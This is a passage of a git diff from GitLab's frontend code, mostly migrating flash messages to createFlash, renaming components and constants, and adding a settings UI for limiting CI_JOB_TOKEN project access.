--- a/app/assets/javascripts/sidebar/services/sidebar_service.js
+++ b/app/assets/javascripts/sidebar/services/sidebar_service.js
@@ -1,4 +1,5 @@
import sidebarDetailsIssueQuery from 'ee_else_ce/sidebar/queries/sidebarDetails.query.graphql';
+import { TYPE_USER } from '~/graphql_shared/constants';
import { convertToGraphQLId } from '~/graphql_shared/utils';
import createGqClient, { fetchPolicies } from '~/lib/graphql';
import axios from '~/lib/utils/axios_utils';
@@ -88,7 +89,7 @@ export default class SidebarService {
return gqClient.mutate({
mutation: reviewerRereviewMutation,
variables: {
- userId: convertToGraphQLId('User', `${userId}`), // eslint-disable-line @gitlab/require-i18n-strings
+ userId: convertToGraphQLId(TYPE_USER, `${userId}`),
projectPath: this.fullPath,
iid: this.iid.toString(),
},
diff --git a/app/assets/javascripts/sidebar/sidebar_mediator.js b/app/assets/javascripts/sidebar/sidebar_mediator.js
index 3595354da80..0a5e44a9b95 100644
--- a/app/assets/javascripts/sidebar/sidebar_mediator.js
+++ b/app/assets/javascripts/sidebar/sidebar_mediator.js
@@ -1,7 +1,7 @@
import Store from 'ee_else_ce/sidebar/stores/sidebar_store';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import toast from '~/vue_shared/plugins/global_toast';
-import { deprecatedCreateFlash as Flash } from '../flash';
import { visitUrl } from '../lib/utils/url_utility';
import Service from './services/sidebar_service';
@@ -74,7 +74,11 @@ export default class SidebarMediator {
.then(([restResponse, graphQlResponse]) => {
this.processFetchedData(restResponse.data, graphQlResponse.data);
})
- .catch(() => new Flash(__('Error occurred when fetching sidebar data')));
+ .catch(() =>
+ createFlash({
+ message: __('Error occurred when fetching sidebar data'),
+ }),
+ );
}
processFetchedData(data) {
diff --git a/app/assets/javascripts/smart_interval.js b/app/assets/javascripts/smart_interval.js
index 15d04dadb15..6d77952f24e 100644
--- a/app/assets/javascripts/smart_interval.js
+++ b/app/assets/javascripts/smart_interval.js
@@ -3,6 +3,35 @@ import $ from 'jquery';
/**
* Instances of SmartInterval extend the functionality of `setInterval`, make it configurable
* and controllable by a public API.
+ *
+ * This component has two intervals:
+ *
+ * - current interval - when the page is visible - defined by `startingInterval`, `maxInterval`, and `incrementByFactorOf`
+ * - Example:
+ * - `startingInterval: 10000`, `maxInterval: 240000`, `incrementByFactorOf: 2`
+ * - results in `10s, 20s, 40s, 80s, ..., 240s`, it stops increasing at `240s` and keeps this interval indefinitely.
+ * - hidden interval - when the page is not visible
+ *
+ * Visibility transitions:
+ *
+ * - `visible -> not visible`
+ * - `document.addEventListener('visibilitychange', () => ...)`
+ *
+ * > This event fires with a visibilityState of hidden when a user navigates to a new page, switches tabs, closes the tab, minimizes or closes the browser, or, on mobile, switches from the browser to a different app.
+ *
+ * Source [Document: visibilitychange event - Web APIs | MDN](https://developer.mozilla.org/en-US/docs/Web/API/Document/visibilitychange_event)
+ *
+ * - `window.addEventListener('blur', () => ...)` - every time user clicks somewhere else then in the browser page
+ * - `not visible -> visible`
+ * - `document.addEventListener('visibilitychange', () => ...)` same as the transition `visible -> not visible`
+ * - `window.addEventListener('focus', () => ...)`
+ *
+ * The combination of these two listeners can result in an unexpected resumption of polling:
+ *
+ * - switch to a different window (causes `blur`)
+ * - switch to a different desktop (causes `visibilitychange` (not visible))
+ * - switch back to the original desktop (causes `visibilitychange` (visible))
+ * - *now the polling happens even in window that user doesn't work in*
*/
export default class SmartInterval {
diff --git a/app/assets/javascripts/snippets/components/edit.vue b/app/assets/javascripts/snippets/components/edit.vue
index c53d0575752..f07fb9d926a 100644
--- a/app/assets/javascripts/snippets/components/edit.vue
+++ b/app/assets/javascripts/snippets/components/edit.vue
@@ -2,7 +2,7 @@
import { GlButton, GlLoadingIcon } from '@gitlab/ui';
import eventHub from '~/blob/components/eventhub';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import { redirectTo, joinPaths } from '~/lib/utils/url_utility';
import { __, sprintf } from '~/locale';
import {
@@ -135,7 +135,9 @@ export default {
const defaultErrorMsg = this.newSnippet
? SNIPPET_CREATE_MUTATION_ERROR
: SNIPPET_UPDATE_MUTATION_ERROR;
- Flash(sprintf(defaultErrorMsg, { err }));
+ createFlash({
+ message: sprintf(defaultErrorMsg, { err }),
+ });
this.isUpdating = false;
},
getAttachedFiles() {
diff --git a/app/assets/javascripts/snippets/components/embed_dropdown.vue b/app/assets/javascripts/snippets/components/embed_dropdown.vue
index ad1b08a5a07..0fdbc89a038 100644
--- a/app/assets/javascripts/snippets/components/embed_dropdown.vue
+++ b/app/assets/javascripts/snippets/components/embed_dropdown.vue
@@ -60,7 +60,7 @@ export default {
class="gl-dropdown-text-py-0 gl-dropdown-text-block"
data-testid="input"
>
- <gl-form-input-group :value="value" readonly select-on-click :aria-label="name">
+ <gl-form-input-group :value="value" readonly select-on-click :label="name">
<template #append>
<gl-button
v-gl-tooltip.hover
diff --git a/app/assets/javascripts/snippets/components/snippet_blob_edit.vue b/app/assets/javascripts/snippets/components/snippet_blob_edit.vue
index 612b4c7d2e3..fe169775f96 100644
--- a/app/assets/javascripts/snippets/components/snippet_blob_edit.vue
+++ b/app/assets/javascripts/snippets/components/snippet_blob_edit.vue
@@ -6,13 +6,13 @@ import axios from '~/lib/utils/axios_utils';
import { getBaseURL, joinPaths } from '~/lib/utils/url_utility';
import { sprintf } from '~/locale';
import { SNIPPET_BLOB_CONTENT_FETCH_ERROR } from '~/snippets/constants';
-import EditorLite from '~/vue_shared/components/editor_lite.vue';
+import SourceEditor from '~/vue_shared/components/source_editor.vue';
export default {
components: {
BlobHeaderEdit,
GlLoadingIcon,
- EditorLite,
+ SourceEditor,
},
inheritAttrs: false,
props: {
@@ -85,7 +85,7 @@ export default {
size="lg"
class="loading-animation prepend-top-20 gl-mb-6"
/>
- <editor-lite
+ <source-editor
v-else
:value="blob.content"
:file-global-id="blob.id"
diff --git a/app/assets/javascripts/snippets/components/snippet_header.vue b/app/assets/javascripts/snippets/components/snippet_header.vue
index bf19b63650e..a8f95748e7e 100644
--- a/app/assets/javascripts/snippets/components/snippet_header.vue
+++ b/app/assets/javascripts/snippets/components/snippet_header.vue
@@ -274,7 +274,7 @@ export default {
data-qa-selector="delete_snippet_button"
@click="deleteSnippet"
>
- <gl-loading-icon v-if="isDeleting" inline />
+ <gl-loading-icon v-if="isDeleting" size="sm" inline />
{{ __('Delete snippet') }}
</gl-button>
</template>
diff --git a/app/assets/javascripts/sortable/sortable_config.js b/app/assets/javascripts/sortable/sortable_config.js
index 43ef5d66422..a4c4cb7f101 100644
--- a/app/assets/javascripts/sortable/sortable_config.js
+++ b/app/assets/javascripts/sortable/sortable_config.js
@@ -4,4 +4,5 @@ export default {
fallbackClass: 'is-dragging',
fallbackOnBody: true,
ghostClass: 'is-ghost',
+ fallbackTolerance: 1,
};
diff --git a/app/assets/javascripts/star.js b/app/assets/javascripts/star.js
index eb3eaa66df5..7cba445d9b1 100644
--- a/app/assets/javascripts/star.js
+++ b/app/assets/javascripts/star.js
@@ -1,5 +1,5 @@
import $ from 'jquery';
-import { deprecatedCreateFlash as Flash } from './flash';
+import createFlash from './flash';
import axios from './lib/utils/axios_utils';
import { spriteIcon } from './lib/utils/common_utils';
import { __, s__ } from './locale';
@@ -28,7 +28,11 @@ export default class Star {
$this.prepend(spriteIcon('star', iconClasses));
}
})
- .catch(() => Flash(__('Star toggle failed. Try again later.')));
+ .catch(() =>
+ createFlash({
+ message: __('Star toggle failed. Try again later.'),
+ }),
+ );
});
}
}
diff --git a/app/assets/javascripts/static_site_editor/components/edit_drawer.vue b/app/assets/javascripts/static_site_editor/components/edit_drawer.vue
index 0685dfdb1d1..781e23cd6c8 100644
--- a/app/assets/javascripts/static_site_editor/components/edit_drawer.vue
+++ b/app/assets/javascripts/static_site_editor/components/edit_drawer.vue
@@ -21,7 +21,7 @@ export default {
</script>
<template>
<gl-drawer class="gl-pt-8" :open="isOpen" @close="$emit('close')">
- <template #header>{{ __('Page settings') }}</template>
+ <template #title>{{ __('Page settings') }}</template>
<front-matter-controls :settings="settings" @updateSettings="$emit('updateSettings', $event)" />
</gl-drawer>
</template>
diff --git a/app/assets/javascripts/static_site_editor/constants.js b/app/assets/javascripts/static_site_editor/constants.js
index b08bf26e1dc..ab7fd0542bf 100644
--- a/app/assets/javascripts/static_site_editor/constants.js
+++ b/app/assets/javascripts/static_site_editor/constants.js
@@ -28,7 +28,8 @@ export const TRACKING_ACTION_CREATE_COMMIT = 'create_commit';
export const TRACKING_ACTION_CREATE_MERGE_REQUEST = 'create_merge_request';
export const TRACKING_ACTION_INITIALIZE_EDITOR = 'initialize_editor';
-export const USAGE_PING_TRACKING_ACTION_CREATE_COMMIT = 'static_site_editor_commits';
-export const USAGE_PING_TRACKING_ACTION_CREATE_MERGE_REQUEST = 'static_site_editor_merge_requests';
+export const SERVICE_PING_TRACKING_ACTION_CREATE_COMMIT = 'static_site_editor_commits';
+export const SERVICE_PING_TRACKING_ACTION_CREATE_MERGE_REQUEST =
+ 'static_site_editor_merge_requests';
export const MR_META_LOCAL_STORAGE_KEY = 'sse-merge-request-meta-storage-key';
diff --git a/app/assets/javascripts/static_site_editor/image_repository.js b/app/assets/javascripts/static_site_editor/image_repository.js
index 57f32ab4847..4ad2e2618ac 100644
--- a/app/assets/javascripts/static_site_editor/image_repository.js
+++ b/app/assets/javascripts/static_site_editor/image_repository.js
@@ -1,10 +1,13 @@
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import { getBinary } from './services/image_service';
const imageRepository = () => {
const images = new Map();
- const flash = (message) => new Flash(message);
+ const flash = (message) =>
+ createFlash({
+ message,
+ });
const add = (file, url) => {
getBinary(file)
diff --git a/app/assets/javascripts/static_site_editor/rich_content_editor/modals/insert_video_modal.vue b/app/assets/javascripts/static_site_editor/rich_content_editor/modals/insert_video_modal.vue
index 99bb2080610..5ce2c17f8de 100644
--- a/app/assets/javascripts/static_site_editor/rich_content_editor/modals/insert_video_modal.vue
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/modals/insert_video_modal.vue
@@ -81,11 +81,13 @@ export default {
:invalid-feedback="urlError"
>
<gl-form-input id="video-modal-url-input" ref="urlInput" v-model="url" />
- <gl-sprintf slot="description" :message="description" class="text-gl-muted">
- <template #id>
- <strong>{{ __('0t1DgySidms') }}</strong>
- </template>
- </gl-sprintf>
+ <template #description>
+ <gl-sprintf :message="description" class="text-gl-muted">
+ <template #id>
+ <strong>{{ __('0t1DgySidms') }}</strong>
+ </template>
+ </gl-sprintf>
+ </template>
</gl-form-group>
</gl-modal>
</template>
diff --git a/app/assets/javascripts/static_site_editor/services/submit_content_changes.js b/app/assets/javascripts/static_site_editor/services/submit_content_changes.js
index ecb7f60a421..99534413d92 100644
--- a/app/assets/javascripts/static_site_editor/services/submit_content_changes.js
+++ b/app/assets/javascripts/static_site_editor/services/submit_content_changes.js
@@ -9,8 +9,8 @@ import {
SUBMIT_CHANGES_MERGE_REQUEST_ERROR,
TRACKING_ACTION_CREATE_COMMIT,
TRACKING_ACTION_CREATE_MERGE_REQUEST,
- USAGE_PING_TRACKING_ACTION_CREATE_COMMIT,
- USAGE_PING_TRACKING_ACTION_CREATE_MERGE_REQUEST,
+ SERVICE_PING_TRACKING_ACTION_CREATE_COMMIT,
+ SERVICE_PING_TRACKING_ACTION_CREATE_MERGE_REQUEST,
DEFAULT_FORMATTING_CHANGES_COMMIT_MESSAGE,
DEFAULT_FORMATTING_CHANGES_COMMIT_DESCRIPTION,
} from '../constants';
@@ -58,7 +58,7 @@ const createUpdateSourceFileAction = (sourcePath, content) => [
const commit = (projectId, message, branch, actions) => {
Tracking.event(document.body.dataset.page, TRACKING_ACTION_CREATE_COMMIT);
- Api.trackRedisCounterEvent(USAGE_PING_TRACKING_ACTION_CREATE_COMMIT);
+ Api.trackRedisCounterEvent(SERVICE_PING_TRACKING_ACTION_CREATE_COMMIT);
return Api.commitMultiple(
projectId,
@@ -74,7 +74,7 @@ const commit = (projectId, message, branch, actions) => {
const createMergeRequest = (projectId, title, description, sourceBranch, targetBranch) => {
Tracking.event(document.body.dataset.page, TRACKING_ACTION_CREATE_MERGE_REQUEST);
- Api.trackRedisCounterEvent(USAGE_PING_TRACKING_ACTION_CREATE_MERGE_REQUEST);
+ Api.trackRedisCounterEvent(SERVICE_PING_TRACKING_ACTION_CREATE_MERGE_REQUEST);
return Api.createProjectMergeRequest(
projectId,
diff --git a/app/assets/javascripts/subscription_select.js b/app/assets/javascripts/subscription_select.js
deleted file mode 100644
index 4a688d819b0..00000000000
--- a/app/assets/javascripts/subscription_select.js
+++ /dev/null
@@ -1,28 +0,0 @@
-import $ from 'jquery';
-import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
-import { __ } from './locale';
-
-export default function subscriptionSelect() {
- $('.js-subscription-event').each((i, element) => {
- const fieldName = $(element).data('fieldName');
-
- return initDeprecatedJQueryDropdown($(element), {
- selectable: true,
- fieldName,
- toggleLabel(selected, el, instance) {
- let label = __('Subscription');
- const $item = instance.dropdown.find('.is-active');
- if ($item.length) {
- label = $item.text();
- }
- return label;
- },
- clicked(options) {
- return options.e.preventDefault();
- },
- id(obj, el) {
- return $(el).data('id');
- },
- });
- });
-}
diff --git a/app/assets/javascripts/task_list.js b/app/assets/javascripts/task_list.js
index 3b2210b9ef2..93353b400e5 100644
--- a/app/assets/javascripts/task_list.js
+++ b/app/assets/javascripts/task_list.js
@@ -1,7 +1,7 @@
import $ from 'jquery';
import 'deckar01-task_list';
import { __ } from '~/locale';
-import { deprecatedCreateFlash as Flash } from './flash';
+import createFlash from './flash';
import axios from './lib/utils/axios_utils';
export default class TaskList {
@@ -22,7 +22,9 @@ export default class TaskList {
errorMessages = e.response.data.errors.join(' ');
}
- return new Flash(errorMessages || __('Update failed'), 'alert');
+ return createFlash({
+ message: errorMessages || __('Update failed'),
+ });
};
this.init();
diff --git a/app/assets/javascripts/terraform/components/states_table.vue b/app/assets/javascripts/terraform/components/states_table.vue
index 2577664a5e8..d066834540f 100644
--- a/app/assets/javascripts/terraform/components/states_table.vue
+++ b/app/assets/javascripts/terraform/components/states_table.vue
@@ -137,7 +137,7 @@ export default {
<div v-if="item.loadingLock" class="gl-mx-3">
<p class="gl-display-flex gl-justify-content-start gl-align-items-baseline gl-m-0">
- <gl-loading-icon class="gl-pr-1" />
+ <gl-loading-icon size="sm" class="gl-pr-1" />
{{ loadingLockText(item) }}
</p>
</div>
@@ -146,7 +146,7 @@ export default {
<p
class="gl-display-flex gl-justify-content-start gl-align-items-baseline gl-m-0 gl-text-red-500"
>
- <gl-loading-icon class="gl-pr-1" />
+ <gl-loading-icon size="sm" class="gl-pr-1" />
{{ $options.i18n.removing }}
</p>
</div>
diff --git a/app/assets/javascripts/terraform/components/terraform_list.vue b/app/assets/javascripts/terraform/components/terraform_list.vue
index a18f33ebb1f..7eb79120fb8 100644
--- a/app/assets/javascripts/terraform/components/terraform_list.vue
+++ b/app/assets/javascripts/terraform/components/terraform_list.vue
@@ -98,7 +98,7 @@ export default {
<section>
<gl-tabs>
<gl-tab>
- <template slot="title">
+ <template #title>
<p class="gl-m-0">
{{ s__('Terraform|States') }}
<gl-badge v-if="statesCount">{{ statesCount }}</gl-badge>
diff --git a/app/assets/javascripts/toggle_buttons.js b/app/assets/javascripts/toggle_buttons.js
index 03c975d5fe8..5b85107991a 100644
--- a/app/assets/javascripts/toggle_buttons.js
+++ b/app/assets/javascripts/toggle_buttons.js
@@ -1,5 +1,5 @@
import $ from 'jquery';
-import { deprecatedCreateFlash as Flash } from './flash';
+import createFlash from './flash';
import { parseBoolean } from './lib/utils/common_utils';
import { __ } from './locale';
@@ -42,7 +42,9 @@ function onToggleClicked(toggle, input, clickCallback) {
$(input).trigger('trigger-change');
})
.catch(() => {
- Flash(__('Something went wrong when toggling the button'));
+ createFlash({
+ message: __('Something went wrong when toggling the button'),
+ });
});
}
diff --git a/app/assets/javascripts/token_access/components/token_access.vue b/app/assets/javascripts/token_access/components/token_access.vue
new file mode 100644
index 00000000000..24565c441d8
--- /dev/null
+++ b/app/assets/javascripts/token_access/components/token_access.vue
@@ -0,0 +1,206 @@
+<script>
+import { GlButton, GlCard, GlFormInput, GlLoadingIcon, GlToggle } from '@gitlab/ui';
+import createFlash from '~/flash';
+import { __, s__ } from '~/locale';
+import addProjectCIJobTokenScopeMutation from '../graphql/mutations/add_project_ci_job_token_scope.mutation.graphql';
+import removeProjectCIJobTokenScopeMutation from '../graphql/mutations/remove_project_ci_job_token_scope.mutation.graphql';
+import updateCIJobTokenScopeMutation from '../graphql/mutations/update_ci_job_token_scope.mutation.graphql';
+import getCIJobTokenScopeQuery from '../graphql/queries/get_ci_job_token_scope.query.graphql';
+import getProjectsWithCIJobTokenScopeQuery from '../graphql/queries/get_projects_with_ci_job_token_scope.query.graphql';
+import TokenProjectsTable from './token_projects_table.vue';
+
+export default {
+ i18n: {
+ toggleLabelTitle: s__('CICD|Limit CI_JOB_TOKEN access'),
+ toggleHelpText: s__(
+ `CICD|Select projects that can be accessed by API requests authenticated with this project's CI_JOB_TOKEN CI/CD variable.`,
+ ),
+ cardHeaderTitle: s__('CICD|Add an existing project to the scope'),
+ addProject: __('Add project'),
+ cancel: __('Cancel'),
+ addProjectPlaceholder: __('Paste project path (i.e. gitlab-org/gitlab)'),
+ projectsFetchError: __('There was a problem fetching the projects'),
+ scopeFetchError: __('There was a problem fetching the job token scope value'),
+ },
+ components: {
+ GlButton,
+ GlCard,
+ GlFormInput,
+ GlLoadingIcon,
+ GlToggle,
+ TokenProjectsTable,
+ },
+ inject: {
+ fullPath: {
+ default: '',
+ },
+ },
+ apollo: {
+ jobTokenScopeEnabled: {
+ query: getCIJobTokenScopeQuery,
+ variables() {
+ return {
+ fullPath: this.fullPath,
+ };
+ },
+ update(data) {
+ return data.project.ciCdSettings.jobTokenScopeEnabled;
+ },
+ error() {
+ createFlash({ message: this.$options.i18n.scopeFetchError });
+ },
+ },
+ projects: {
+ query: getProjectsWithCIJobTokenScopeQuery,
+ variables() {
+ return {
+ fullPath: this.fullPath,
+ };
+ },
+ update(data) {
+ return data.project?.ciJobTokenScope?.projects?.nodes ?? [];
+ },
+ error() {
+ createFlash({ message: this.$options.i18n.projectsFetchError });
+ },
+ },
+ },
+ data() {
+ return {
+ jobTokenScopeEnabled: null,
+ targetProjectPath: '',
+ projects: [],
+ };
+ },
+ computed: {
+ isProjectPathEmpty() {
+ return this.targetProjectPath === '';
+ },
+ },
+ methods: {
+ async updateCIJobTokenScope() {
+ try {
+ const {
+ data: {
+ ciCdSettingsUpdate: { errors },
+ },
+ } = await this.$apollo.mutate({
+ mutation: updateCIJobTokenScopeMutation,
+ variables: {
+ input: {
+ fullPath: this.fullPath,
+ jobTokenScopeEnabled: this.jobTokenScopeEnabled,
+ },
+ },
+ });
+
+ if (errors.length) {
+ throw new Error(errors[0]);
+ }
+ } catch (error) {
+ createFlash({ message: error });
+ } finally {
+ if (this.jobTokenScopeEnabled) {
+ this.getProjects();
+ }
+ }
+ },
+ async addProject() {
+ try {
+ const {
+ data: {
+ ciJobTokenScopeAddProject: { errors },
+ },
+ } = await this.$apollo.mutate({
+ mutation: addProjectCIJobTokenScopeMutation,
+ variables: {
+ input: {
+ projectPath: this.fullPath,
+ targetProjectPath: this.targetProjectPath,
+ },
+ },
+ });
+
+ if (errors.length) {
+ throw new Error(errors[0]);
+ }
+ } catch (error) {
+ createFlash({ message: error });
+ } finally {
+ this.clearTargetProjectPath();
+ this.getProjects();
+ }
+ },
+ async removeProject(removeTargetPath) {
+ try {
+ const {
+ data: {
+ ciJobTokenScopeRemoveProject: { errors },
+ },
+ } = await this.$apollo.mutate({
+ mutation: removeProjectCIJobTokenScopeMutation,
+ variables: {
+ input: {
+ projectPath: this.fullPath,
+ targetProjectPath: removeTargetPath,
+ },
+ },
+ });
+
+ if (errors.length) {
+ throw new Error(errors[0]);
+ }
+ } catch (error) {
+ createFlash({ message: error });
+ } finally {
+ this.getProjects();
+ }
+ },
+ clearTargetProjectPath() {
+ this.targetProjectPath = '';
+ },
+ getProjects() {
+ this.$apollo.queries.projects.refetch();
+ },
+ },
+};
+</script>
+<template>
+ <div>
+ <gl-loading-icon v-if="$apollo.loading" size="md" class="gl-mt-5" />
+ <template v-else>
+ <gl-toggle
+ v-model="jobTokenScopeEnabled"
+ :label="$options.i18n.toggleLabelTitle"
+ :help="$options.i18n.toggleHelpText"
+ @change="updateCIJobTokenScope"
+ />
+ <div v-if="jobTokenScopeEnabled" data-testid="token-section">
+ <gl-card class="gl-mt-5">
+ <template #header>
+ <h5 class="gl-my-0">{{ $options.i18n.cardHeaderTitle }}</h5>
+ </template>
+ <template #default>
+ <gl-form-input
+ v-model="targetProjectPath"
+ :placeholder="$options.i18n.addProjectPlaceholder"
+ />
+ </template>
+ <template #footer>
+ <gl-button
+ variant="confirm"
+ :disabled="isProjectPathEmpty"
+ data-testid="add-project-button"
+ @click="addProject"
+ >
+ {{ $options.i18n.addProject }}
+ </gl-button>
+ <gl-button @click="clearTargetProjectPath">{{ $options.i18n.cancel }}</gl-button>
+ </template>
+ </gl-card>
+
+ <token-projects-table :projects="projects" @removeProject="removeProject" />
+ </div>
+ </template>
+ </div>
+</template>
diff --git a/app/assets/javascripts/token_access/components/token_projects_table.vue b/app/assets/javascripts/token_access/components/token_projects_table.vue
new file mode 100644
index 00000000000..777eda1c4d7
--- /dev/null
+++ b/app/assets/javascripts/token_access/components/token_projects_table.vue
@@ -0,0 +1,81 @@
+<script>
+import { GlButton, GlTable } from '@gitlab/ui';
+import { __, s__ } from '~/locale';
+
+const defaultTableClasses = {
+ thClass: 'gl-bg-transparent! gl-border-b-solid! gl-border-b-gray-100! gl-p-5! gl-border-b-1!',
+};
+
+export default {
+ i18n: {
+ emptyText: s__('CI/CD|No projects have been added to the scope'),
+ },
+ fields: [
+ {
+ key: 'project',
+ label: __('Projects that can be accessed'),
+ tdClass: 'gl-p-5!',
+ ...defaultTableClasses,
+ columnClass: 'gl-w-85p',
+ },
+ {
+ key: 'actions',
+ label: '',
+ tdClass: 'gl-p-5! gl-text-right',
+ ...defaultTableClasses,
+ columnClass: 'gl-w-15p',
+ },
+ ],
+ components: {
+ GlButton,
+ GlTable,
+ },
+ inject: {
+ fullPath: {
+ default: '',
+ },
+ },
+ props: {
+ projects: {
+ type: Array,
+ required: true,
+ },
+ },
+ methods: {
+ removeProject(project) {
+ this.$emit('removeProject', project);
+ },
+ },
+};
+</script>
+<template>
+ <gl-table
+ :items="projects"
+ :fields="$options.fields"
+ :tbody-tr-attr="{ 'data-testid': 'projects-token-table-row' }"
+ :empty-text="$options.i18n.emptyText"
+ show-empty
+ stacked="sm"
+ fixed
+ >
+ <template #table-colgroup="{ fields }">
+ <col v-for="field in fields" :key="field.key" :class="field.columnClass" />
+ </template>
+
+ <template #cell(project)="{ item }">
+ {{ item.name }}
+ </template>
+
+ <template #cell(actions)="{ item }">
+ <gl-button
+ v-if="item.fullPath !== fullPath"
+ category="primary"
+ variant="danger"
+ icon="remove"
+ :aria-label="__('Remove access')"
+ data-testid="remove-project-button"
+ @click="removeProject(item.fullPath)"
+ />
+ </template>
+ </gl-table>
+</template>
diff --git a/app/assets/javascripts/token_access/graphql/mutations/add_project_ci_job_token_scope.mutation.graphql b/app/assets/javascripts/token_access/graphql/mutations/add_project_ci_job_token_scope.mutation.graphql
new file mode 100644
index 00000000000..0a7c76dd580
--- /dev/null
+++ b/app/assets/javascripts/token_access/graphql/mutations/add_project_ci_job_token_scope.mutation.graphql
@@ -0,0 +1,5 @@
+mutation addProjectCIJobTokenScope($input: CiJobTokenScopeAddProjectInput!) {
+ ciJobTokenScopeAddProject(input: $input) {
+ errors
+ }
+}
diff --git a/app/assets/javascripts/token_access/graphql/mutations/remove_project_ci_job_token_scope.mutation.graphql b/app/assets/javascripts/token_access/graphql/mutations/remove_project_ci_job_token_scope.mutation.graphql
new file mode 100644
index 00000000000..5107ea30cd1
--- /dev/null
+++ b/app/assets/javascripts/token_access/graphql/mutations/remove_project_ci_job_token_scope.mutation.graphql
@@ -0,0 +1,5 @@
+mutation removeProjectCIJobTokenScope($input: CiJobTokenScopeRemoveProjectInput!) {
+ ciJobTokenScopeRemoveProject(input: $input) {
+ errors
+ }
+}
diff --git a/app/assets/javascripts/token_access/graphql/mutations/update_ci_job_token_scope.mutation.graphql b/app/assets/javascripts/token_access/graphql/mutations/update_ci_job_token_scope.mutation.graphql
new file mode 100644
index 00000000000..d99f2e3597d
--- /dev/null
+++ b/app/assets/javascripts/token_access/graphql/mutations/update_ci_job_token_scope.mutation.graphql
@@ -0,0 +1,8 @@
+mutation updateCIJobTokenScope($input: CiCdSettingsUpdateInput!) {
+ ciCdSettingsUpdate(input: $input) {
+ ciCdSettings {
+ jobTokenScopeEnabled
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/token_access/graphql/queries/get_ci_job_token_scope.query.graphql b/app/assets/javascripts/token_access/graphql/queries/get_ci_job_token_scope.query.graphql
new file mode 100644
index 00000000000..d4f559c3701
--- /dev/null
+++ b/app/assets/javascripts/token_access/graphql/queries/get_ci_job_token_scope.query.graphql
@@ -0,0 +1,7 @@
+query getCIJobTokenScope($fullPath: ID!) {
+ project(fullPath: $fullPath) {
+ ciCdSettings {
+ jobTokenScopeEnabled
+ }
+ }
+}
diff --git a/app/assets/javascripts/token_access/graphql/queries/get_projects_with_ci_job_token_scope.query.graphql b/app/assets/javascripts/token_access/graphql/queries/get_projects_with_ci_job_token_scope.query.graphql
new file mode 100644
index 00000000000..bec0710a1dd
--- /dev/null
+++ b/app/assets/javascripts/token_access/graphql/queries/get_projects_with_ci_job_token_scope.query.graphql
@@ -0,0 +1,12 @@
+query getProjectsWithCIJobTokenScope($fullPath: ID!) {
+ project(fullPath: $fullPath) {
+ ciJobTokenScope {
+ projects {
+ nodes {
+ name
+ fullPath
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/token_access/index.js b/app/assets/javascripts/token_access/index.js
new file mode 100644
index 00000000000..6a29883290a
--- /dev/null
+++ b/app/assets/javascripts/token_access/index.js
@@ -0,0 +1,31 @@
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createDefaultClient from '~/lib/graphql';
+import TokenAccess from './components/token_access.vue';
+
+Vue.use(VueApollo);
+
+const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(),
+});
+
+export const initTokenAccess = (containerId = 'js-ci-token-access-app') => {
+ const containerEl = document.getElementById(containerId);
+
+ if (!containerEl) {
+ return false;
+ }
+
+ const { fullPath } = containerEl.dataset;
+
+ return new Vue({
+ el: containerEl,
+ apolloProvider,
+ provide: {
+ fullPath,
+ },
+ render(createElement) {
+ return createElement(TokenAccess);
+ },
+ });
+};
diff --git a/app/assets/javascripts/tracking/index.js b/app/assets/javascripts/tracking/index.js
index e0ba7dba97f..3714cac3fba 100644
--- a/app/assets/javascripts/tracking/index.js
+++ b/app/assets/javascripts/tracking/index.js
@@ -34,6 +34,12 @@ const addExperimentContext = (opts) => {
return options;
};
+const renameKey = (o, oldKey, newKey) => {
+ const ret = {};
+ delete Object.assign(ret, o, { [newKey]: o[oldKey] })[oldKey];
+ return ret;
+};
+
const createEventPayload = (el, { suffix = '' } = {}) => {
const {
trackAction,
@@ -186,15 +192,18 @@ export default class Tracking {
(context) => context.schema !== standardContext.schema,
);
- const mappedConfig = {
- forms: { whitelist: config.forms?.allow || [] },
- fields: { whitelist: config.fields?.allow || [] },
- };
+ const mappedConfig = {};
+ if (config.forms) mappedConfig.forms = renameKey(config.forms, 'allow', 'whitelist');
+ if (config.fields) mappedConfig.fields = renameKey(config.fields, 'allow', 'whitelist');
const enabler = () => window.snowplow('enableFormTracking', mappedConfig, userProvidedContexts);
- if (document.readyState !== 'loading') enabler();
- else document.addEventListener('DOMContentLoaded', enabler);
+ if (document.readyState === 'complete') enabler();
+ else {
+ document.addEventListener('readystatechange', () => {
+ if (document.readyState === 'complete') enabler();
+ });
+ }
}
static mixin(opts = {}) {
diff --git a/app/assets/javascripts/usage_ping_consent.js b/app/assets/javascripts/usage_ping_consent.js
deleted file mode 100644
index 3876aa62b75..00000000000
--- a/app/assets/javascripts/usage_ping_consent.js
+++ /dev/null
@@ -1,32 +0,0 @@
-import $ from 'jquery';
-import { deprecatedCreateFlash as Flash, hideFlash } from './flash';
-import axios from './lib/utils/axios_utils';
-import { parseBoolean } from './lib/utils/common_utils';
-import { __ } from './locale';
-
-export default () => {
- $('body').on('click', '.js-usage-consent-action', (e) => {
- e.preventDefault();
- e.stopImmediatePropagation(); // overwrite rails listener
-
- const { url, checkEnabled, pingEnabled } = e.target.dataset;
- const data = {
- application_setting: {
- version_check_enabled: parseBoolean(checkEnabled),
- usage_ping_enabled: parseBoolean(pingEnabled),
- },
- };
-
- const hideConsentMessage = () => hideFlash(document.querySelector('.ping-consent-message'));
-
- axios
- .put(url, data)
- .then(() => {
- hideConsentMessage();
- })
- .catch(() => {
- hideConsentMessage();
- Flash(__('Something went wrong. Try again later.'));
- });
- });
-};
diff --git a/app/assets/javascripts/user_lists/components/user_lists.vue b/app/assets/javascripts/user_lists/components/user_lists.vue
index 80be894c689..0e3c6b396db 100644
--- a/app/assets/javascripts/user_lists/components/user_lists.vue
+++ b/app/assets/javascripts/user_lists/components/user_lists.vue
@@ -3,12 +3,8 @@ import { GlBadge, GlButton } from '@gitlab/ui';
import { isEmpty } from 'lodash';
import { mapState, mapActions } from 'vuex';
import EmptyState from '~/feature_flags/components/empty_state.vue';
-import {
- buildUrlWithCurrentLocation,
- getParameterByName,
- historyPushState,
